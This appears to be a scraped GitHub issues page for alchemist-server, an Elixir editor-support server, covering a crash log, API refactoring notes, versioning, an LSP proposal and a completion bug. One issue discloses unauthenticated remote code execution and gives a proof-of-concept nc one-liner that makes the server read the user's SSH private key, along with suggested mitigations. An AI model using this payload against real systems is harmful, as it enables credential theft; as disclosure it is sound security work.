tonini / alchemist-server Goto Github PK

When DEFL can't find definition, it doesn't return end-marker and no any info regarding response details, just error in server log

00:49:06.550 [error] Task #PID<0.149.0> started from #PID<0.147.0> terminating ** (MatchError) no match of right hand side value: ["Orders"] /Users/p_hrechyshkin/workspace/self/alchemist-server/lib/api/defl.exs:84: Alchemist.API.Defl.normalize/1 /Users/p_hrechyshkin/workspace/self/alchemist-server/lib/api/defl.exs:13: Alchemist.API.Defl.request/1 /Users/p_hrechyshkin/workspace/self/alchemist-server/lib/helpers/process_commands.exs:21: Alchemist.Helpers.ProcessCommands.process/2 /Users/p_hrechyshkin/workspace/self/alchemist-server/lib/server/socket.exs:47: Alchemist.Server.Socket.serve/2 (elixir) lib/task/supervised.ex:85: Task.Supervised.do_apply/2 (stdlib) proc_lib.erl:247: :proc_lib.init_p_do_apply/3 Function: #Function<0.65933552/0 in Alchemist.Server.Socket.loop_acceptor/2> Args: []

There is also different error in log in case DEFL has incorrect syntax. Is it intended behavior? Any plans to add error responses for such cases?

If I understand this correctly, alchemist-server wants to be some kind of "middleware", against which others can implement editor-plugins? If so, are there already some examples how people can use this from a plugin author's point of view? sublime text preferred :)

alchemist-server starts a server that executes arbitrary code from any host that can reach you on the network, without any kind of authentication.

git clone https://github.com/tonini/alchemist-server
cd alchemist-server
elixir run.exs --env=dev --listen

Take note of the port, because the exploit below doesn't brute-force the port (though this could easily be done by an attacker).

# echo 'EVAL File.write!("/tmp/payload", "File.read!(Path.expand(~s(~/.ssh/id_rsa)))");{:eval, "/tmp/payload"}' | nc 127.0.0.1 PORT
"Fake RSA key\n"
END-OF-EVAL

This also works from a remote machine because alchemist-server listens on all interfaces, not just localhost.

Listening on localhost by default would be a good idea, but is insufficient, because it still leaves the user open to attacks from other (less-trusted) users on the machine, and possibly from the user's web browser via a DNS rebinding attack.

Requiring a secret cookie before accepting any requests would be a good idea (beware, though, the secret needs a constant-time comparison). Even better would be to use a UNIX socket.

A secret cookie at the start of the connection is not a bulletproof fix because TCP connections can be hijacked in some cases. ycmd had the same problem with code execution and now HMACs every request, which seems like a better idea (if using a UNIX socket is impossible).

I always thought that the server kind of gets versioned by this line. But today I noticed that there are quite a few changes since this last got touched.

I think it would be good if we would find a way to version the server a little bit better. ATM it's kind of a mess that vscode-elixir, atom-elixir and alchemist.el all maintain local copies of the server and they diverge quite a bit.

I noticed this because there is this PR open on vscode-elixir and in an ideal world this would get merged here first with the editor packages updating cause of a version bump in this project.

** Alchemist-Server API Refactoring

• Cases
  • COMP (Completion)
  • DOCL (Documentation Lookup)
  • EVAL (Evaluate/Quote)
  • DEFL (Definition Lookup)
• Alchemist-Server API
  • COMP
    • { "def" [ context: Elixir, imports: [], aliases: [] ] }
  • DOCL
    • { nil, { :defmodule, nil }, [ context: nil, imports: [], aliases: [] ] }
    • { List, { :flatten, nil }, [ context: nil, imports: [], aliases: [] ] }
    • { List, { :flatten, 2 }, [ context: nil, imports: [], aliases: [] ] }
    • { nil, { :create_file, nil }, [ context: nil, imports: [Mix.Generator], aliases: [] ] }
  • INFO
    • { type: :modules }
    • { type: :mixtasks }
  • EVAL
    • { type: :eval, file: "path/to/file.tmp" }
    • { type: :quote, file: "path/to/file.tmp" }
  • DEFL
    • { List, { :flatten, 1 }, [ context: nil, imports: [], aliases: [] ] }
    • { nil, { :flatten, 1 }, [ context: nil, imports: [], aliases: [] ] }

I was wondering if we could make this conform to Microsoft's Language Server Protocol. This would allow us to leverage LSP clients for different editors.

Moving this from tonini/alchemist.el#272 (there's a bit more detail there)

It looks like when there are multiple options which share a prefix after a . the completion is including the shared prefix which is breaking things further up the stack.

Adding

  test "return completion candidates for 'Kernel.Para'" do
    assert run('Kernel.Para') == ['Kernel.ParallelCompiler', 'Kernel.ParallelRequire']
  end

In complete_test.exs shows the failure, there is no actual Kernel.Parallel module.

  1) test return completion candidates for 'Kernel.Para' (CompleteTest)
     test/helpers/complete_test.exs:31
     Assertion with == failed
     code: run('Kernel.Para') == ['Kernel.ParallelCompiler', 'Kernel.ParallelRequire']
     lhs:  ['Kernel.Parallel', 'ParallelCompiler', 'ParallelRequire']
     rhs:  ['Kernel.ParallelCompiler', 'Kernel.ParallelRequire']
     stacktrace:
       test/helpers/complete_test.exs:32

@msaraiva it would be great if we could integrate the code/parser and the code/metabuilder (and the rest which is needed too) into the alchemist-server. Then I could start to refactor a lot of the server itself and also simplify the API a lot for example the definition and completion lookup for example. 🎉